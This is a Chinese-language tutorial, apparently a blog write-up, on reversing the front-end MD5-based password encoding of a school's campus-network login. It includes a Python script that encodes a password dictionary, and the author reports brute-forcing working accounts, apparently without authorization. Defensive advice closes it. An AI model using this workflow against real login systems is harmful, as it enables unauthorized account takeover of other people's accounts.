某校园网登录界面前端加密绕过
字数 1167 2025-08-22 12:22:30

校园网登录界面前端加密绕过分析教程

前言

本教程将详细分析某校园网登录界面的前端加密机制,并演示如何通过JavaScript逆向工程破解加密算法,最终实现密码爆破。本案例涉及前端加密分析、JavaScript逆向、MD5加密算法和Python脚本编写等技术。

初始发现

  1. 登录界面分析:尝试对学校校园网登录框进行爆破时,发现密码在前端被加密

  2. 抓包信息

    DDDDD=2022***&upass=3d5c84b6fb1dc75987884f39c05b0e6a123456782&R1=0&R2=1&para=00&0MKKey=123456&v6ip=
    
    • DDDDD:用户名
    • upass:加密后的密码
    • 其他参数意义不明
  3. 初步判断:密码看似MD5加密,但输入"admin"后尝试解密失败,说明不是普通MD5加密

JavaScript逆向分析

1. 定位加密函数

  1. 点击登录按钮,查看调用堆栈信息
  2. 全局搜索"Password"关键字,初步定位相关代码
  3. 在疑似位置设置断点,程序执行时暂停
  4. 继续执行代码后,调用堆栈信息中多出a41.js文件
  5. a41.js中发现function ee()函数,此处设置断点

2. 分析加密逻辑

下载a41.js文件进行分析,发现以下关键点:

  1. 加密流程控制

    • 代码顶部定义常量ps
    • 由于ps是常量,代码永远只会进入else分支
  2. 加密算法

    tmpchar = pid + document.getElementById("password").value + cala;
    
    • pidcala均为常量
    • 实际公式:tmpchar = "2" + 用户输入 + "12345678"
    • 然后对tmpchar进行MD5加密
    • 最后在密文后追加"123456782"
  3. 完整加密公式

    C = MD5("2" + M + "12345678") + "123456782"
    
    • C:最终提交的密文
    • M:用户原始密码

Python加密脚本实现

根据分析出的加密算法,编写Python脚本批量加密字典:

import hashlib

def md5(input_str):
    return hashlib.md5(input_str.encode()).hexdigest()

def generate_payload(source_data):
    a = "2"
    b = "12345678"
    c = md5(a + source_data + b)
    payload = c + "123456782"
    return payload

def read_data_from_file(file_path):
    with open(file_path, 'r') as file:
        return file.readlines()

def save_encrypted_data_to_file(encrypted_data, file_path):
    with open(file_path, 'w') as file:
        for encrypted in encrypted_data:
            file.write(f"{encrypted}\n")

def save_original_and_encrypted_data(data_pairs, file_path):
    with open(file_path, 'w') as file:
        for original, encrypted in data_pairs:
            file.write(f"{original.strip()} : {encrypted}\n")

def process_data(input_file, encrypted_file, original_and_encrypted_file):
    data_pairs = []
    encrypted_data = []
    data_lines = read_data_from_file(input_file)
    
    for line in data_lines:
        encrypted = generate_payload(line.strip())
        data_pairs.append((line.strip(), encrypted))
        encrypted_data.append(encrypted)
    
    save_encrypted_data_to_file(encrypted_data, encrypted_file)
    save_original_and_encrypted_data(data_pairs, original_and_encrypted_file)

# 使用示例
input_file = 'dic.txt'  # 原始字典文件
encrypted_file = 'encrypted_data.txt'  # 加密后的密码文件
original_and_encrypted_file = 'original_and_encrypted_data.txt'  # 原始与加密对应关系文件

process_data(input_file, encrypted_file, original_and_encrypted_file)

实际应用

  1. 准备密码字典文件dic.txt
  2. 运行Python脚本生成加密后的密码
  3. 使用加密后的密码进行爆破尝试
  4. 成功爆破出可用账户

技术要点总结

  1. 前端加密分析

    • 通过抓包识别加密参数
    • 判断加密类型(非标准MD5)
  2. JavaScript逆向

    • 使用开发者工具分析调用堆栈
    • 通过断点调试追踪加密过程
    • 定位关键加密函数
  3. 加密算法还原

    • 分析常量值和拼接逻辑
    • 确定完整的加密公式
    • 验证加密过程
  4. 自动化脚本

    • Python实现相同加密逻辑
    • 批量处理密码字典
    • 保存加密结果用于爆破

防御建议

  1. 前端加密局限性

    • 前端加密不能替代HTTPS传输
    • 不应依赖前端加密作为安全措施
  2. 改进方案

    • 使用更复杂的加密算法
    • 加入时间戳或随机数防止重放
    • 实施验证码或登录限制机制
  3. 安全开发建议

    • 敏感操作应在后端处理
    • 避免在前端暴露加密逻辑
    • 实施多因素认证

扩展思考

  1. 类似的前端加密分析技术可应用于其他Web应用
  2. 了解加密算法有助于安全测试和漏洞挖掘
  3. 掌握JavaScript逆向是Web安全研究的重要技能

通过本教程,您应该已经掌握了分析前端加密、逆向JavaScript算法以及实现自动化加密工具的全套技术流程。

校园网登录界面前端加密绕过分析教程 前言 本教程将详细分析某校园网登录界面的前端加密机制,并演示如何通过JavaScript逆向工程破解加密算法,最终实现密码爆破。本案例涉及前端加密分析、JavaScript逆向、MD5加密算法和Python脚本编写等技术。 初始发现 登录界面分析 :尝试对学校校园网登录框进行爆破时,发现密码在前端被加密 抓包信息 : DDDDD :用户名 upass :加密后的密码 其他参数意义不明 初步判断 :密码看似MD5加密,但输入"admin"后尝试解密失败,说明不是普通MD5加密 JavaScript逆向分析 1. 定位加密函数 点击登录按钮,查看调用堆栈信息 全局搜索"Password"关键字,初步定位相关代码 在疑似位置设置断点,程序执行时暂停 继续执行代码后,调用堆栈信息中多出 a41.js 文件 在 a41.js 中发现 function ee() 函数,此处设置断点 2. 分析加密逻辑 下载 a41.js 文件进行分析,发现以下关键点: 加密流程控制 : 代码顶部定义常量 ps 由于 ps 是常量,代码永远只会进入 else 分支 加密算法 : pid 和 cala 均为常量 实际公式: tmpchar = "2" + 用户输入 + "12345678" 然后对 tmpchar 进行MD5加密 最后在密文后追加 "123456782" 完整加密公式 : C:最终提交的密文 M:用户原始密码 Python加密脚本实现 根据分析出的加密算法,编写Python脚本批量加密字典: 实际应用 准备密码字典文件 dic.txt 运行Python脚本生成加密后的密码 使用加密后的密码进行爆破尝试 成功爆破出可用账户 技术要点总结 前端加密分析 : 通过抓包识别加密参数 判断加密类型(非标准MD5) JavaScript逆向 : 使用开发者工具分析调用堆栈 通过断点调试追踪加密过程 定位关键加密函数 加密算法还原 : 分析常量值和拼接逻辑 确定完整的加密公式 验证加密过程 自动化脚本 : Python实现相同加密逻辑 批量处理密码字典 保存加密结果用于爆破 防御建议 前端加密局限性 : 前端加密不能替代HTTPS传输 不应依赖前端加密作为安全措施 改进方案 : 使用更复杂的加密算法 加入时间戳或随机数防止重放 实施验证码或登录限制机制 安全开发建议 : 敏感操作应在后端处理 避免在前端暴露加密逻辑 实施多因素认证 扩展思考 类似的前端加密分析技术可应用于其他Web应用 了解加密算法有助于安全测试和漏洞挖掘 掌握JavaScript逆向是Web安全研究的重要技能 通过本教程,您应该已经掌握了分析前端加密、逆向JavaScript算法以及实现自动化加密工具的全套技术流程。